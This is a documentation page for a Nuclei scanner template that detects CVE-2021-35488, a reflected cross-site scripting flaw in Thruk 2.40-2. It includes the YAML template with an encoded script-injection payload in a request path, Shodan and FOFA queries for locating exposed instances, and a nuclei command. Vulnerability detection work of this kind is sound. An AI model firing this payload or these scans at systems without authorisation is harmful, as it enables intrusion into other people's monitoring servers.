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Thruk 2.40-2 - Cross-Site Scripting

ID: CVE-2021-35488

Severity: medium

Author: arafatansari

Tags: cve2021,cve,thruk,xss

Description

Section titled “Description”

Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.

YAML Source

Section titled “YAML Source”
id: CVE-2021-35488


info:
  name: Thruk 2.40-2 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.gruppotim.it/redteam
    - https://www.thruk.org/changelog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35488
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35488
    cwe-id: CWE-79
    epss-score: 0.00145
    epss-percentile: 0.50266
    cpe: cpe:2.3:a:thruk:thruk:2.40-2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thruk
    product: thruk
    shodan-query:
      - http.html:"Thruk"
      - http.html:"thruk"
    fofa-query:
      - body="thruk"
      - title=="thruk monitoring webinterface"
  tags: cve2021,cve,thruk,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "'></script><script>alert(document.domain)</script>"
          - "Thruk Monitoring"
        condition: and


      - type: status
        status:
          - 401
# digest: 4b0a00483046022100e5a8c2177eccb7811f72c391b2bef9da94cb38ecc9a8219461af3956f6e85408022100945708025e4d0a8135f0bc80e09bef77c4235225c3a326c2cafedb597c02059b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-35488.yaml"

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